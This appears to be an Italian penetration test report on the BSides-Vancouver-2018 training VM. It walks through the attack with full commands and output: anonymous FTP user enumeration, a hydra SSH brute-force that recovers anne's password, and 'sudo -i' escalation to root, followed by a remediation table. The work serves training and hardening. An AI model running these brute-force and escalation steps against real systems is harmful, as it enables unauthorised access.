

# Penetration Test Report: BSides-Vancouver-2018

**Data:** 21 Luglio 2026

**Target:** BSides - Vancouver-2018

**Autore:** Leonardo Onori

**Oggetto:** Security Assessment & Privilege Escalation Analysis

## 1. Executive Summary

Il presente report documenta un'attività di penetration test di tipo black-box condotta sulla macchina virtuale BSides-Vancouver-2018. L'obiettivo è stato valutare la resilienza del sistema contro attacchi non autorizzati. L'assessment ha confermato la presenza di vulnerabilità critiche che hanno permesso l'acquisizione di privilegi amministrativi (root). Il sistema, nello stato corrente, non soddisfa gli standard di sicurezza minimi richiesti.

## 2. Metodologia (Standard PTES)

L'attività è stata strutturata seguendo il framework **PTES (Penetration Testing Execution Standard)**, focalizzandosi sulle seguenti fasi:

1. **Reconnaissance & Enumeration:** Mappatura dei servizi e analisi degli utenti di sistema.
2. **Vulnerability Analysis:** Identificazione dei vettori di attacco tramite analisi manuale e automatizzata.
3. **Exploitation:** Accesso non autorizzato mediante credenziali deboli.
4. **Post-Exploitation:** Privileged Escalation e consolidamento del controllo sull'host.

## 3. Fase di Reconnaissance & Enumeration

### 3.1. Network Scanning (Nmap)

La scansione di rete (nmap -sV -sC -p- 10.0.2.3) ha permesso di identificare i servizi esposti sulla superficie di attacco:

- **Porta 21 (FTP):** Servizio di trasferimento file con accesso permissivo.
- **Porta 22 (SSH):** Servizio di gestione remota.

```
(kali@kali)-[~]
$ sudo nmap -p- -sV -sC -oN scan_results.txt 10.0.2.3
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-20 12:54 -0400
Nmap scan report for 10.0.2.3
Host is up (0.0029s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ drwxr-xr-x  2 65534  65534      4096 Mar 03  2018 public
| ftp-syst:
|_  STAT:
|_  FTP server status:
|_    Connected to 10.0.2.15
|_    Logged in as ftp
|_    TYPE: ASCII
|_    No session bandwidth limit
|_    Session timeout in seconds is 300
|_    Control connection is plain text
|_    Data connections will be plain text
|_    At session startup, client count was 4
|_    vsFTPD 2.3.5 - secure, fast, stable
|_End of status
22/tcp    open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_  1024 85:9f:8b:58:44:97:33:98:ee:98:b0:c1:85:60:3c:41 (DSA)
|_  2048 cf:1a:04:e1:7b:a3:cd:2b:d1:af:7d:b3:30:e0:a0:9d (RSA)
|_  256 97:e5:28:7a:31:4d:0a:89:b2:b0:25:81:d5:36:63:4c (ECDSA)
80/tcp    open  http     Apache httpd 2.2.22 ((Ubuntu))
|_ http-title: Site doesn't have a title (text/html).
|_ http-robots.txt: 1 disallowed entry
|_ /backup_wordpress
|_ http-server-header: Apache/2.2.22 (Ubuntu)
MAC Address: 08:00:27:14:A8:A0 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.69 seconds
```

### 3.2. User Enumeration

L'attività di enumerazione ha proceduto verso l'analisi del servizio FTP, identificato come potenziale vettore di *Information Disclosure*. L'esplorazione del file system esposto ha permesso di mappare le utenze configurate sul sistema.

- **Risultato:** È stato estratto un elenco completo degli utenti di sistema, tra cui l'utente **anne**, successivamente utilizzato come target per la fase di exploitation.

```
(kali㉿kali)-[~]
$ ftp 10.0.2.3
Connected to 10.0.2.3.
220 (vsFTPd 2.3.5)
Name (10.0.2.3:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (||||22616|).
150 Here comes the directory listing.
drwxr-xr-x  3 0      0          4096 Mar 03  2018 .
drwxr-xr-x  3 0      0          4096 Mar 03  2018 ..
drwxr-xr-x  2 65534  65534      4096 Mar 03  2018 public
226 Directory send OK.
ftp> cd public
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (||||28967|).
150 Here comes the directory listing.
drwxr-xr-x  2 65534  65534      4096 Mar 03  2018 .
drwxr-xr-x  3 0      0          4096 Mar 03  2018 ..
-rw-r--r--  1 0      0          31 Mar 03  2018 users.txt.bk
226 Directory send OK.
ftp> get users.txt.bk
local: users.txt.bk remote: users.txt.bk
229 Entering Extended Passive Mode (||||36832|).
150 Opening BINARY mode data connection for users.txt.bk (31 bytes).
100% |*****
226 Transfer complete.
31 bytes received in 00:00 (4.31 KiB/s)
ftp> exit
221 Goodbye.

(kali㉿kali)-[~]
$ cat users.txt.bk
abatchy
john
mai
anne
doomguy
```

## 4. Exploitation

### 4.1. Accesso Iniziale (Brute-Force mirato)

Sfruttando le evidenze raccolte nella fase di enumerazione, è stato condotto un attacco di *brute-force* mirato sull'account anne tramite il protocollo SSH.

- **Comando:** `hydra -l anne -P /usr/share/wordlists/fasttrack.txt 10.0.2.3 ssh`
- **Esito:** Autenticazione riuscita con le credenziali anne:princess.

```
(kali㉿kali)-[~]
$ hydra -l anne -P /usr/share/wordlists/fasttrack.txt -t 4 10.0.2.3 ssh -u
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service or
ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-20 13:18:24
[DATA] max 4 tasks per 1 server, overall 4 tasks, 262 login tries (l:1/p:262), ~66 tries per task
[DATA] attacking ssh://10.0.2.3:22/
[STATUS] 66.00 tries/min, 66 tries in 00:01h, 196 to do in 00:03h, 4 active

[STATUS] 68.00 tries/min, 204 tries in 00:03h, 58 to do in 00:01h, 4 active
[22][ssh] host: 10.0.2.3 login: anne password: princess
[STATUS] 65.00 tries/min, 260 tries in 00:04h, 2 to do in 00:01h, 4 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
The session file ./hydra.restore was written. Type "hydra -R" to resume session.

(kali㉿kali)-[~]
$ ssh anne@10.0.2.3
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
anne@10.0.2.3's password:
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686)

 * Documentation:  https://help.ubuntu.com/

382 packages can be updated.
275 updates are security updates.

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Mon Jul 20 04:58:16 2026 from 10.0.2.15
anne@bsides2018:~$ whoami
anne
anne@bsides2018:~$ id
uid=1003(anne) gid=1003(anne) groups=1003(anne),27(sudo)
```

## 5. Post-Exploitation

### 5.1. Privilege Escalation

Ottenuto l'accesso, è stata condotta un'analisi della configurazione dei permessi (sudoers).

- **Comando:** `sudo -l`
- **Vulnerabilità:** La configurazione (ALL : ALL) ALL viola il principio del minimo privilegio, permettendo l'esecuzione di qualsiasi comando come root.

*(Inserisci qui lo screenshot dell'output di `sudo -l`)*

L'elevazione a root è stata eseguita tramite `sudo -i`, confermando l'acquisizione della shell con privilegi elevati.

```
(kali@kali)~$ ssh anne@10.0.2.3
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
anne@10.0.2.3's password:
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686)

 * Documentation:  https://help.ubuntu.com/

382 packages can be updated.
275 updates are security updates.

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Mon Jul 20 04:58:16 2026 from 10.0.2.15
anne@bsides2018:~$ whoami
anne
anne@bsides2018:~$ id
uid=1003(anne) gid=1003(anne) groups=1003(anne),27(sudo)
anne@bsides2018:~$ sudo -l
[sudo] password for anne:
Matching Defaults entries for anne on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User anne may run the following commands on this host:
    (ALL : ALL) ALL
anne@bsides2018:~$ sudo -i
root@bsides2018:~# whoami
root
root@bsides2018:~# ls /root
flag.txt
root@bsides2018:~# cat /root/flag.txt
Congratulations!

If you can read this, that means you were able to obtain root permissions on this VM.
You should be proud!

There are multiple ways to gain access remotely, as well as for privilege escalation.
Did you find them all?

@abatchy17

root@bsides2018:~#
```

# 6. Risultati Finali

L'integrità del sistema è stata verificata tramite l'acquisizione della flag di sistema residente nel percorso /root/flag.txt.

```
anne@bsides2018:~$ sudo -i
root@bsides2018:~# whoami
root
root@bsides2018:~# ls /root
flag.txt
root@bsides2018:~# cat /root/flag.txt
Congratulations!

If you can read this, that means you were able to obtain root permissions on this VM.
You should be proud!

There are multiple ways to gain access remotely, as well as for privilege escalation.
Did you find them all?

@abatchy17

root@bsides2018:~#
```

# 7. Vulnerability Assessment & Remediation

Le vulnerabilità identificate sono classificate come segue:

| ID  | Vulnerabilità          | Rischio | Azione Correttiva (Hardening)                                                                            |
|-----|------------------------|---------|----------------------------------------------------------------------------------------------------------|
| V01 | Privilege Escalation   | CRITICO | Rimuovere (ALL : ALL) ALL in /etc/sudoers; utilizzare Sudo Alias per permessi granulari.                 |
| V02 | Weak Auth/Brute-Force  | CRITICO | Disabilitare PasswordAuthentication su SSH; imporre l'uso di chiavi Ed25519; configurare Fail2Ban.       |
| V03 | Information Disclosure | MEDIO   | Restringere l'accesso FTP e disabilitare il directory listing per prevenire l'enumerazione degli utenti. |

# 8. Conclusioni

Il sistema analizzato presenta gravi lacune configurative. L'adozione del piano di *hardening* sopra descritto è condizione necessaria per ripristinare un livello di sicurezza accettabile.